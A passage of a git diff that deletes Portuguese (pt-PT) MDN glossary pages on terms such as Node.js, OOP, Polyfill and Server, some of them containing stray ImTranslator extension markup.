- <div class="SL_pin_off" id="SL_pin" style="" title="Pin pop-up bubble"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style=""> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">Text-to-speech function is limited to 200 characters</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255);">
-<div id="SL_arrow_down" style=""> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="" title="Show Translator's button 3 second(s)"> </div>
- </td>
- <td><a class="SL_options" title="Show options">Options</a> : <a class="SL_options" title="Translation History">History</a> : <a class="SL_options" title="ImTranslator Feedback">Feedback</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Make a small contribution">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Close">Close</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/glossary/node.js/index.html b/files/pt-pt/glossary/node.js/index.html
deleted file mode 100644
index aacd62b9a1..0000000000
--- a/files/pt-pt/glossary/node.js/index.html
+++ /dev/null
@@ -1,111 +0,0 @@
----
-title: Node.js
-slug: Glossary/Node.js
-tags:
- - Glossário
- - Infraestrutura
- - JavaScript
- - node.js
-translation_of: Glossary/Node.js
-original_slug: Glossário/Node.js
----
-<p>Node.js é um ambiente de execução multiplataforma em {{Glossary("JavaScript")}} que permite aos programadores criarem aplicações de rede e 'lado do servidor' com JavaScript.</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimentos_Gerais">Conhecimentos Gerais</h3>
-
-<ul>
- <li><a href="https://pt.wikipedia.org/wiki/Node.js">Node.js na Wikipédia</a></li>
- <li><a href="https://nodejs.org/"><em>Site</em> da Web do Node.js</a> (inglês)</li>
-</ul>
-
-<h3 id="Informação_técnica">Informação técnica</h3>
-
-<ul>
- <li><a href="https://nodejs.org/api/">Documentação de referência de API</a> (inglês)</li>
- <li><a href="https://nodejs.org/documentation/tutorials/">Tutoriais</a> (inglês)</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: 0% 0% repeat scroll rgba(0, 0, 0, 0); opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody>
- <tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody>
- <tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
- </tbody>
-</table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/glossary/object/index.html b/files/pt-pt/glossary/object/index.html
deleted file mode 100644
index f2947707b7..0000000000
--- a/files/pt-pt/glossary/object/index.html
+++ /dev/null
@@ -1,23 +0,0 @@
----
-title: Objeto
-slug: Glossary/Object
-tags:
- - Glossary
- - Glossário
- - Introdução
- - Objeto
- - Programação Scripting
-translation_of: Glossary/Object
-original_slug: Glossário/Objeto
----
-<p><a href="/pt-PT/docs/Web/JavaScript/Reference/Global_Objects/Object">Objeto</a> refere-se a uma estrutura de dados contendo dados e instruções para trabalhar com os dados. Os objetos às vezes referem-se a coisas do mundo real, por exemplo, um <code>carro</code> ou objeto de <code>mapa</code> num jogo de carros. {{glossary("JavaScript")}}, Java, C++, Python, e Ruby são exemplos de linguagens em {{glossary("OOP","programação orientada em objeto")}}.</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimento_Geral">Conhecimento Geral</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Programação orientada a objetos ")}} na Wikipédia</li>
- <li>{{jsxref("<em>Object</em>")}} na <a href="/pt-PT/docs/Web/JavaScript/Reference">referência de JavaScript</a></li>
- <li><a href="/pt-PT/docs/Web/JavaScript/Estruturas_de_dados">Estruturas de dados de objeto no JavaScript</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/object_reference/index.html b/files/pt-pt/glossary/object_reference/index.html
deleted file mode 100644
index f368d7bbae..0000000000
--- a/files/pt-pt/glossary/object_reference/index.html
+++ /dev/null
@@ -1,21 +0,0 @@
----
-title: Referência de objeto
-slug: Glossary/Object_reference
-tags:
- - CodingScripting
- - Glossary
- - Glossário
-translation_of: Glossary/Object_reference
-original_slug: Glossário/Referencia_de_objeto
----
-<p>Uma ligação para um <strong>{{glossary("object","objeto")}}</strong>. Referências de objeto podem ser utilziadas como objetos interligados.</p>
-
-<p>O conceito de referências de objeto fica claro quando atribuir o mesmo objeto a mais de uma <strong>{{glossary("property","propriedade")}}</strong>. Em vez de manter uma cópia do objeto, cada propriedade atribuída contém referências de objeto que se vinculam ao mesmo objeto, de modo que, quando o objeto altera todas as propriedades referentes ao objeto, refletem a alteração.</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li><a href="https://pt.wikipedia.org/wiki/Refer%C3%AAncia_(ci%C3%AAncia_da_computa%C3%A7%C3%A3o)">Referência (ciência de computação)</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/oop/index.html b/files/pt-pt/glossary/oop/index.html
deleted file mode 100644
index a266f0149b..0000000000
--- a/files/pt-pt/glossary/oop/index.html
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: OOP
-slug: Glossary/OOP
-tags:
- - Glossário
- - Principiante
- - Programação Scripting
-translation_of: Glossary/OOP
-original_slug: Glossário/OOP
----
-<p><strong>OOP </strong>(Programação Orientada em Objeto) é uma abordagem na programação em que os dados são encapsulados dentro de <strong>{{glossary("object","objetos")}}</strong> e onde o próprio objeto é operado, em vez de suas partes componentes.</p>
-
-<p>{{glossary("JavaScript")}} é totalmente orientado em objeto. Este segue um modelo baseado em <strong>protótipo </strong>(<a href="/pt-PT/docs/Web/JavaScript/Guia/Detalhes_do_modelo_de_objeto#Linguagens_com_base_em_classe_versus_protótipo">em oposição ao baseado em classe</a>).</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimento_Gera">Conhecimento Gera</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Programação orientada a objetos ")}} na Wikipédia</li>
- <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Introduction_to_Object-Oriented_JavaScript">Introdução ao JavaScript orientado em objeto</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/ota/index.html b/files/pt-pt/glossary/ota/index.html
deleted file mode 100644
index 4b787f6b5b..0000000000
--- a/files/pt-pt/glossary/ota/index.html
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: OTA
-slug: Glossary/OTA
-tags:
- - Glossário
- - Infraestrutura
- - OTA
- - Wireless
- - updates
-translation_of: Glossary/OTA
-original_slug: Glossário/OTA
----
-<p><em>Over-The-Air</em> (<strong>OTA</strong> ou "Pelo-Ar") refere-se à atualização automática de programas de dispositivos conectados a partir de um servidor central. Todos os proprietários de dispositivos ao receber um determinado conjunto de atualizações estão sob o mesmo "canal"; e cada dispositivo pode amiúde acessar vários canais (e.g. para "builds" de produção ou engenharia).</p>
-
-<h2 id="Aprenda_mais">Aprenda mais</h2>
-
-<h3 id="Conhecimentos_Gerais">Conhecimentos Gerais</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Over-the-air")}} na Wikipedia</li>
- <li><a href="/pt-BR/Firefox_OS/Construindo_e_instalando_o_Firefox_OS/Criando_e_aplicando_pacotes_de_atualizacao_Firefox_OS">Criando e aplicando pacotes de atualização para o Firefox OS</a></li>
-</ul>
diff --git a/files/pt-pt/glossary/polyfill/index.html b/files/pt-pt/glossary/polyfill/index.html
deleted file mode 100644
index b72e8fd7cf..0000000000
--- a/files/pt-pt/glossary/polyfill/index.html
+++ /dev/null
@@ -1,17 +0,0 @@
----
-title: Polyfill
-slug: Glossary/Polyfill
-translation_of: Glossary/Polyfill
-original_slug: Glossário/Polyfill
----
-<p>Um polyfill é um pedaço de código (geralmente JavaScript) usado para fornecer funcionalidades modernas em browsers mais antigos que não o suportam nativamente.</p>
-
-<p>Por exemplo, um polyfill pode ser usado para simular a funcionalidade de um elemento HTML Canvas no Microsoft Internet Explorer 7, usando o plugin Silverlight, ou simular o suporte para unidades rem em CSS, ou {{cssxref("text-shadow")}}, ou qualquer outra coisa que você queira.</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li><a href="https://remysharp.com/2010/10/08/what-is-a-polyfill">O que é um polyfill?</a> (artigo de Remy Sharp, criador do termo)</li>
-</ul>
diff --git a/files/pt-pt/glossary/prototype-based_programming/index.html b/files/pt-pt/glossary/prototype-based_programming/index.html
deleted file mode 100644
index 9dde44c37f..0000000000
--- a/files/pt-pt/glossary/prototype-based_programming/index.html
+++ /dev/null
@@ -1,18 +0,0 @@
----
-title: Programação baseada em protótipo
-slug: Glossary/Prototype-based_programming
-tags:
- - Glossário
- - Programação Scripting
-translation_of: Glossary/Prototype-based_programming
-original_slug: Glossário/Prototype-based_programming
----
-<p>A <strong>programação baseada em protótipo </strong>é um estilo de {{Glossary("OOP", " programação orientada em objeto")}} em que as {{Glossary('Class', 'classes')}} não são explicitamente definidas, mas sim derivadas adicionando as propriedades e os métodos a uma instância de outra classe ou, com menos freqüência, adicione-os a um objeto vazio.</p>
-
-<p>Em palavras simples, esse tipo de estilo permite criar um {{Glossary ('Object', 'objeto')}}. sem definir a sua {{Glossary('Class', 'classe')}} .</p>
-
-<h3 id="Conhecimento_Geral">Conhecimento Geral</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Prototype-based programming", "Programação orientada em objeto")}} na Wikipédia</li>
-</ul>
diff --git a/files/pt-pt/glossary/scm/index.html b/files/pt-pt/glossary/scm/index.html
deleted file mode 100644
index bb4f1d5f09..0000000000
--- a/files/pt-pt/glossary/scm/index.html
+++ /dev/null
@@ -1,22 +0,0 @@
----
-title: GCS
-slug: Glossary/SCM
-tags:
- - CodingScripting
- - GCS
- - Glossário
- - SCM
-translation_of: Glossary/SCM
-original_slug: Glossário/GCS
----
-<p>O GCS (Gestão de Controlo de Software ou <em> Source Control Management</em>) é um sistema de gestão do código fonte. Normalmente refere-se à utilização de software para o controlo de versões. Um programador pode modificar arquivos de código fonte sem ter medo de editar coisas úteis, porque um GCS mantém um registo de como o código fonte muda e quem faz as alterações.</p>
-
-<p>Sistemas de gerência de configuração de software incluí CVS, SVN, {{glossary("GIT")}}.</p>
-
-<h2 id="Saiba_mais">Saiba mais</h2>
-
-<h3 id="Conhecimento_geral">Conhecimento geral</h3>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Gerência_de_configuração_de_software", "GCS")}} na Wikipedia</li>
-</ul>
diff --git a/files/pt-pt/glossary/server/index.html b/files/pt-pt/glossary/server/index.html
deleted file mode 100644
index dca22e6b38..0000000000
--- a/files/pt-pt/glossary/server/index.html
+++ /dev/null
@@ -1,26 +0,0 @@
----
-title: Servidor
-slug: Glossary/Server
-tags:
- - Glossário
- - Infraestrutura
- - Protocolo
- - Rede
- - Servidor
-translation_of: Glossary/Server
-original_slug: Glossário/Servidor
----
-<p>Um servidor hardware é um computador compartilhado em uma rede que provê serviços a clientes. Um servidor software é um programa que provê serviços a programas clientes.</p>
-
-<p>Os serviços são providos normalmente pela rede local ou por redes remotas. Programas cliente e servidor tradicionalmente se conectam a enviar mensagens por meio de um {{glossary("protocolo")}}.</p>
-
-<p>Os servidores mais comuns numa rede local são os de ficheiros, nomes, emails, impressoras e fax. Outro exemplo comum de servidor é o de páginas da web conectado à Internet. Os minicomputadores, mainframes e super computadores nas centrais de dados também são servidores.</p>
-
-<h2 id="Aprenda_mais"><strong>Aprenda mais</strong></h2>
-
-<h3 id="Conhecimentos_Gerais">Conhecimentos Gerais</h3>
-
-<ul>
- <li><a href="https://developer.mozilla.org/en-US/Learn/What_is_a_web_server">Introdução aos servidores</a></li>
- <li>{{Interwiki("wikipedia", "Servidor")}} na Wikipedia</li>
-</ul>
diff --git a/files/pt-pt/glossary/signature/index.html b/files/pt-pt/glossary/signature/index.html
deleted file mode 100644
index 2bc2ca9ee9..0000000000
--- a/files/pt-pt/glossary/signature/index.html
+++ /dev/null
@@ -1,97 +0,0 @@
----
-title: Assinatura
-slug: Glossary/Signature
-tags:
- - Desambiguação
- - Glossário
-translation_of: Glossary/Signature
-original_slug: Glossário/Assinatura
----
-<p>O termo <strong>assinatura</strong> pode ter vários significados dependendo do contexto. Este pode referir-se a:</p>
-
-<p>{{GlossaryDisambiguation}}</p>
-
-<h2 id="Saber_mais">Saber mais</h2>
-
-<ul>
- <li>{{Interwiki("wikipedia", "Signature_(disambiguation)", "Assinatura")}} na Wikipédia</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; display: none; opacity: 1;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/glossary/tag/index.html b/files/pt-pt/glossary/tag/index.html
deleted file mode 100644
index f25d60ec10..0000000000
--- a/files/pt-pt/glossary/tag/index.html
+++ /dev/null
@@ -1,26 +0,0 @@
----
-title: Tag
-slug: Glossary/Tag
-translation_of: Glossary/Tag
-original_slug: Glossário/Etiqueta
----
